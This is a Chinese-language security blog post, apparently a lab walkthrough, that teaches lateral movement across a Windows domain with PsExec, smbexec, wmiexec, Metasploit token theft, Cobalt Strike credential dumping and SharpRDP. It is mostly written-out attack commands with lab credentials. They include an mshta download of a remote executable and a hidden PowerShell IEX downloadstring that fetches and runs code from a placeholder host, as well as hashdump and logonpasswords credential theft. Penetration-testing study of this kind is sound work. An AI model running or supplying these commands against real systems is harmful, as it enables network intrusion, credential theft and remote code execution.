横向移动2-外部工具

admin 2021年8月27日14:40:11评论101 views字数 2845阅读9分29秒阅读模式

/01 Psexec

一,Psexec简介

PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而 无需手动安装客户端软件。

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

原理:

  1. IPC$连接,释放Psexesvc.exe
  2. OpenSCManager打开受害者机器上服务控制管理器的句柄
  3. CreateService创建服务
  4. 获取服务句柄OpenService使用StartService启动服务

二,Psexec使用

1
net use \10.10.10.201ipc$ /u:administrator "password"

image-20201220150826228

image-20201220151009586

反弹cmd:

1
2
#psexec.exe同目录运行
psexec.exe \10.10.10.201 -s cmd.exe -accepteula

image-20201219172732688

meterpreter:运行就会

image-20201219172835882

执行命令:

1
psexec.exe \10.10.10.201 whoami

image-20201219173120258

第一次运行会弹窗,加 -accepteula就可以不显示,之后就不用加了

1
2
psexec.exe \10.10.10.201 -u de1ayAdministrator -p !QAZ2wsx whoami
psexec.exe \10.10.10.201 -u de1ayAdministrator -p !QAZ2wsx mshta http://XXX.XXX.XXX.XXX:8080/download/XXX.exe

image-20201219174106242

注意使用psexec时不要使用双引号

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

-d 不等待程序执行完就返回

上传一个本地的getpass到你远程连接的服务器上执行:

1
2
Psexec.exe \ip -u user -p pass -c c:getpass.exe –d
Psexec.exe \10.10.10.201 -u administrator -p !QAZ2wsx -c c://808888.exe -d

三,Psexec.py

与psexec.exe相比会自动删除服务、增加隐蔽性,但是需要需要提前编译

不然就会

image-20201220151750961

1
psexec.exe de1ay/administrator:[email protected] whoami

image-20201220171821294

1
psexec.exe de1ay/administrator:[email protected]

image-20201220171927806

这个meterpreter也都可用接受

image-20201220172720589

四,Smbexec

smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。

1
smbexec.exe de1ay/administrator:!QAZ2wsx@10.10.10.201

image-20201220165547445

image-20201220165614723

/02 Wmiexec

一,Wmiexec

单命令执行:

1
cscript.exe //nologo c:wmiexec.vbs /cmd 10.10.10.201 de1ayadministrator !QAZ2wsx "whoami"

image-20201220170355463

半交互模式:

1
cscript.exe //nologo c:wmiexec.vbs /shell 10.10.10.201 de1ayadministrator !QAZ2wsx

image-20201220170548031

在meterpreter都可以使用

image-20201220172557534

退出会卡住QWQ

image-20201220172813662

/03 Metasploit

一,Psexec_command

auxiliary/admin/smb/psexec_command

msf6已经废弃了

简单介绍一些参数设置

command为我们要执行的命令

rhosts为我们要执行的目标

SMBDomain为域名

SMBUser为用户名

SMBPass为用户密码,

二,Psexec

exploit/windows/smb/psexec

image-20201220175242361

注意payload根据自己实际情况来设置,比如我这pc处于内网中不能与我们攻击机直连,使用的就是windows/meterpreter/bind_tcp

三,MS17_010_command

auxiliary/admin/smb/ms17_010_command

image-20201220180011002

四,Token窃取

Windows有两种类型的Token:

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录) Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

在Metasploit中,可使用incognito实现token窃取,Metasploit中的 incognito,是从windows平台下的incognito移植过来的

1
2
#加载incognito
load incognito

image-20201220181053025

1
2
#列举tokens -u
list_tokens -u

image-20201220181141696

1
2
#查看当前token
getuid

image-20201220181202039

1
2
#提升system权限
getsystem

image-20201220181230529

1
2
#token窃取
impersonate_token "NT AUTHORITY\SYSTEM"

image-20201220181303777

1
2
#从进程窃取token:
steal_token 4500
1
2
返回之前的token:
rev2self,drop_token

image-20201220181348610

/04 Cobaltstrike

一,CS获取凭证

1
hashdump

image-20201220183954247

1
logonpasswords

image-20201220184009047

然后在View开启Credentials就很姓名

image-20201220184035082

值得一提的时在我们msf转cs过程中payload尽量选32位的

二,扫描存活主机

image-20201220184133182

image-20201220185031785

image-20201220184747065

扫描完后在

image-20201220184813809

可用看到主机

三,Psexec

image-20201220185331087

image-20201220194620397

如果目标在内网就选择bind这个监听

session选择web,我们拿到的只有它与pc相连。

pc上线了

image-20201220194813658

/05 SharpRDP

一,SharpRDP

SharpRDP - 远程桌面协议控制台应用程序,可用于对横向目标执行针对远程目标的经过身份验证的命令执行。

1
SharpRDP.exe computername=IP command="powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://IP'))"" username=de1ayadministrator password=!QAZ2wsx

缺点是需要提前编译,而且执行命令处于内网就不太好接受shell需要对web进行监听

image-20201220201809582

然后还要在web上开一个PC能访问的服务来获取shell并允许获取木马。

更详细的可以参考之前写的上马方式中的以命令行形式上马。

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: Windows认证

/01 Window认证机制这个看大佬的文章就完事了,小菜鸡就不充当大尾巴狼了 倾旋的大佬的博客文章 一,LM,LM Hash:LM协议机制和NTLM相同,加密算法不一样。 123456789101112131415161718将所有小写字母转换为大写字母• …

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:40:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   横向移动2-外部工具http://cn-sec.com/archives/475134.html

发表评论

匿名网友 填写信息